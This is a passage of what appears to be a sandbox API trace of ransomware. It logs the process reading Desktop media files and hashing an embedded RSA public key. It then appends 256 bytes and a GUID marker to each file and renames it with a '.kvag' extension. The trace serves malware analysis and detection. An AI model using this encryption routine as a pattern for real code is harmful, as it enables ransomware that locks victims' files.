lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x14983, lpOverlapped=0x0) returned 1 [0119.086] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.086] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.086] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.086] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.086] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.086] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.086] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.087] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.087] GetLastError () returned 0x0 [0119.087] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.087] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.087] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.087] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.087] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.087] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x67741a0 [0119.088] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x14983, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.088] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.088] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.088] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.088] CloseHandle (hObject=0x61c) returned 1 [0119.089] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mGWda9.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mgwda9.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mGWda9.mp3.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mgwda9.mp3.kvag")) returned 1 [0119.090] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46011050, ftCreationTime.dwHighDateTime=0x1d4c599, ftLastAccessTime.dwLowDateTime=0x9c760530, ftLastAccessTime.dwHighDateTime=0x1d4cdd7, ftLastWriteTime.dwLowDateTime=0x9c760530, ftLastWriteTime.dwHighDateTime=0x1d4cdd7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MnXmRfGpxPOeczS", cAlternateFileName="MNXMRF~1")) returned 1 [0119.090] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x880cb480, ftCreationTime.dwHighDateTime=0x1d4c595, ftLastAccessTime.dwLowDateTime=0x51e14f50, ftLastAccessTime.dwHighDateTime=0x1d4d17b, ftLastWriteTime.dwLowDateTime=0x51e14f50, ftLastWriteTime.dwHighDateTime=0x1d4d17b, nFileSizeHigh=0x0, nFileSizeLow=0x15b3f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pV3yVe.avi", cAlternateFileName="")) returned 1 [0119.090] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pV3yVe.avi") returned=".avi" [0119.090] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pV3yVe.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pv3yve.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.090] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=88895) returned 1 [0119.090] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.092] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x15b19, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.092] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.093] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x15b3f, lpOverlapped=0x0) returned 1 [0119.093] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.093] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.094] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.094] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.095] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.095] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.095] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.095] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.095] GetLastError () returned 0x0 [0119.095] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.095] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.095] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.095] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.095] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.095] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x67741a0 [0119.096] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x15b3f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.096] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.096] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.096] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.096] CloseHandle (hObject=0x61c) returned 1 [0119.097] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pV3yVe.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pv3yve.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pV3yVe.avi.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pv3yve.avi.kvag")) returned 1 [0119.099] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46da0240, ftCreationTime.dwHighDateTime=0x1d4ca1a, ftLastAccessTime.dwLowDateTime=0x1435a5d0, ftLastAccessTime.dwHighDateTime=0x1d4c63a, ftLastWriteTime.dwLowDateTime=0x1435a5d0, ftLastWriteTime.dwHighDateTime=0x1d4c63a, nFileSizeHigh=0x0, nFileSizeLow=0xf276, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RnJF6TCUGQ_2QRhsIz.wav", cAlternateFileName="RNJF6T~1.WAV")) returned 1 [0119.099] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RnJF6TCUGQ_2QRhsIz.wav") returned=".wav" [0119.099] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RnJF6TCUGQ_2QRhsIz.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rnjf6tcugq_2qrhsiz.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.099] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=62070) returned 1 [0119.099] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.101] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xf250, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.101] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.103] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xf276, lpOverlapped=0x0) returned 1 [0119.104] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.104] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.104] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.104] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e88) returned 1 [0119.105] CryptCreateHash (in: hProv=0x3607e88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.105] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.105] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.105] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.105] GetLastError () returned 0x0 [0119.105] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.105] CryptReleaseContext (hProv=0x3607e88, dwFlags=0x0) returned 1 [0119.105] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.105] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.105] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.105] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x67741a0 [0119.106] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xf276, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.106] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.106] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.106] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.106] CloseHandle (hObject=0x61c) returned 1 [0119.108] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RnJF6TCUGQ_2QRhsIz.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rnjf6tcugq_2qrhsiz.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RnJF6TCUGQ_2QRhsIz.wav.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rnjf6tcugq_2qrhsiz.wav.kvag")) returned 1 [0119.109] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4578cf60, ftCreationTime.dwHighDateTime=0x1d4cbed, ftLastAccessTime.dwLowDateTime=0xa2a99e90, ftLastAccessTime.dwHighDateTime=0x1d4d542, ftLastWriteTime.dwLowDateTime=0xa2a99e90, ftLastWriteTime.dwHighDateTime=0x1d4d542, nFileSizeHigh=0x0, nFileSizeLow=0x7bf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="s9_5sxP4UTReq1w-S0Dp.jpg", cAlternateFileName="S9_5SX~1.JPG")) returned 1 [0119.109] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\s9_5sxP4UTReq1w-S0Dp.jpg") returned=".jpg" [0119.109] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\s9_5sxP4UTReq1w-S0Dp.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\s9_5sxp4utreq1w-s0dp.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.109] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=1983) returned 1 [0119.110] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.112] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x799, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.112] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.112] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x7bf, lpOverlapped=0x0) returned 1 [0119.112] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.112] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.112] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.112] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e88) returned 1 [0119.113] CryptCreateHash (in: hProv=0x3607e88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.113] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.113] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.113] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.113] GetLastError () returned 0x0 [0119.113] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.113] CryptReleaseContext (hProv=0x3607e88, dwFlags=0x0) returned 1 [0119.113] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.113] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.113] 